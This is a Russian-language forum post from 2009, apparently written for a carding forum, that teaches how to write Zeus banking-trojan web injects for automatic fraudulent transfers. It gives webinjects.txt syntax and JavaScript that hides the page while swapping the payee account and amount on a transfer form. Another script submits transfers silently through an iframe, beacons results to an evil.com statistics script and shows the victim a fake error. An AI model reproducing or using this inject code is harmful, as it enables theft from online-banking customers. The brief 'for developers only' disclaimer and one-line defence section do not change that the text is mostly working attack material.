digix
VIP member
- Messages
- 421
- Reaction score
- 125
- Points
- 43
ВНИМАНИЕ!
Вся информация предоставлена исключительно для разработчиков web-сайтов, дабы они могли защитить себя от описанных методов.
Использования нижеследующей информации как-либо иначе может привести к уголовной ответственности.
В данном случае автор ответственности не несёт.
Вся информация предоставлена исключительно для разработчиков web-сайтов, дабы они могли защитить себя от описанных методов.
Использования нижеследующей информации как-либо иначе может привести к уголовной ответственности.
В данном случае автор ответственности не несёт.
Назначение и описание алгоритма
Автозалив (далее АЗ) - процесс автоматического трансфера либо модификации "на лету" какой-либо информации (в основном - платёжной) с компьютера клиента на сервер некой компании (обычно - банка или платёжной системы) без уведомления об этом пользователя. Троян Zeus предоставляет соответствующие возможности для систем онлайн-банкинга и платёжных систем, работающих по web-протоколам.
АЗ может быть пассивный - он лишь модифицирует данные во время перевода, осуществляемого пользователем, и активный, который способен самостоятельно выполнить все операции (загрузка платёжной формы, заполнение полей и отправка данных) без участия пользователя (ему достаточно лишь войти в свой "личный кабинет").
Методы внедрения
Троян Zeus предоставляет возможность писать инжекты - куски кода для внедрения в HTML-страницы.
Допустим у нас есть html-файл:
HTML:
<html>
<body>
blaaaa
</body>
</html>
Вставляем в webinjects.txt следующий код:
Code:
set_url ********путь-к-нашему html-файлу GP
DATA_BEFORE
<body
DATA_END
DATA_AFTER
>
DATA_END
DATA_INJECT
>
blaaa2<br
DATA_END
Собираем конфиг... ну как обычно...
Получаем на выходе (после обработки Zeus'ом) следующий html-файл:
HTML:
<html>
<body>
blaaa2<br>
blaaaa
</body>
</html>
Представим, что нам нужно полностью изменить html-код внутри <body>.
Для этого есть комментарии (<!-- html-код тут не будет отображаться -->)
Берем предыдущий пример:
Code:
DATA_INJECT
>
<!-- ***************
DATA_END
DATA_BEFORE
</body
DATA_END
DATA_AFTER
>
DATA_END
DATA_INJECT
> -->
[тут пишем нужный нам html-код на замену]
</body
DATA_END
Принцип и основные моменты написания АЗ
Типичный АЗ состоит из двух частей:
JavaScript'а, внедренного в страницу инжектом, которое выполняет необходимые действия.
Некоего (PHP/*) скрипта на сервере, который выдаёт необходимую информацию для перевода (реквизиты т.н. "дропов") и пишет статистику.
Втч, возможен вариант динамической генерации самого javascript'а.
С пассивными АЗ всё просто. Рассмотрим пример:
Имеется некий файл transfer.php, внутри которого содержится следующая форма:
HTML:
<form action="transfer2.php" method="POST" name="TransferForm">
Account number: <input type="text" name="toacc"><br>
Summ: <input type="text" name="summ"><br>
<input type="submit" name="submit" value="Transfer">
</form>
Пишем АЗ
Code:
set_url ************/transfer.php GP
DATA_BEFORE
TransferForm"
DATA_END
DATA_AFTER
>
DATA_END
DATA_INJECT
onSubmit="MyFormSubmit()">
<script language="JavaScript">
//<!--
function MyFormSubmit() {
document.body.style.visibility='hidden'; // Прячем тело - чтоб не спалили нашу подмену.
document.TransferForm.toacc.value='12345678'; // Меняем поле toacc на наш аккаунт
document.TransferForm.summ.value='99999'; // Меняем сумму
return true; // После этого на сервер отправятся измененные данные
}
//-->
</script
DATA_END
Конечно, данный пример очень примитивен, но рабочий пассивный АЗ отличается от привидённого примера количеством полей в формах.
Теперь рассмотрим пример активного АЗ:
Вариантов внедрения два - iframe и ajax.
В одном случае внедряем iframe на страницу, которая открывается после логина, открываем в нём transfer.php, заполняем форму и "жмём" кнопку submit;
Пример кода (JavaScript):
Code:
function MyTransfer() {
frm = document.createElement("iframe"); // создаём ифрейм
frm.src = "**************/transfer.php"; // открываем в нём transfer.php
frm.window.document.TransferForm.toacc.value='1234 5678'; // заполняем
frm.window.document.TransferForm.summ.value='9999' ; // форму
frm.window.document.TransferForm.submit(); // отправляем
setTimeout("MyCheck(frm,'12345678','9999')", 3000); // через 3 секунды проверка
}
function MyCheck(frm, acc, summ) { // функция проверки
if(/Transfer.complete/.test(frm.window.document.body.innerHTML)) { // если 'transfer complete'
img = document.createElement("img"); // создаём "картинку"
img.src="********evil.com/stat.php?acc="+acc+"&summ="+summ; // Придаём картинке адрес скрипта сбора статистики - браузер автоматом попытается загрузить "картинку" и отправит данные....
}
setTimeout("document.body.innerHTML='Sorry,error'" , 1000); // Через секунду выдаём сообщение об ошибке.
}
setTimeout("MyTransfer()", 1000); // Через секунду после загрузки скрипта выполняем функцию трансфера
AJAX - тоже самое, только используем XMLHTTP. Алгоритм:
Создать XMLHTTP-объект
Отправить запрос на transfer.php
Получить html-код в ответ, распарсить его и создать запрос, имитирующий заполнение формы.
Отправить запрос на transfer2.php и передать сгенерированный запрос.
Получить в ответ html-код.
Проверить наличие "Transfer complete", если да - отправить запрос скрипту статистики с информацией об успешном переводе.
Выдать сообщение об ошибке.
Код приводить не буду - кому нужно, тот разберётся.
Скажу лишь пару моментов:
1. AJAX'ом отсылать запросы можно только на тот сайт, в контексте которого работает скрипт. Т.е. с 123.com сделать запрос на 222.ru не выйдет.
2. Не забывайте имитировать загрузку - document.style.cursor='wait'; в помощь )
Защита
Метод защиты один - динамическая обфускация html-кода, дабы нельзя было "прицепить" инжект. Различные обфускаторы валяются в интернете.
Других способов защититься от АЗ не существует.
Полезные ссылки
http://javascript.ru/ - полезный ресурс по JS
http://ru5.php.net/ - онлайн справочник по PHP
Copyright (C) kreon [ADZ Security Team], 2009
JID: kreon@ajabber.net
Специально для mazafaka. При распространении указания авторства обязательно.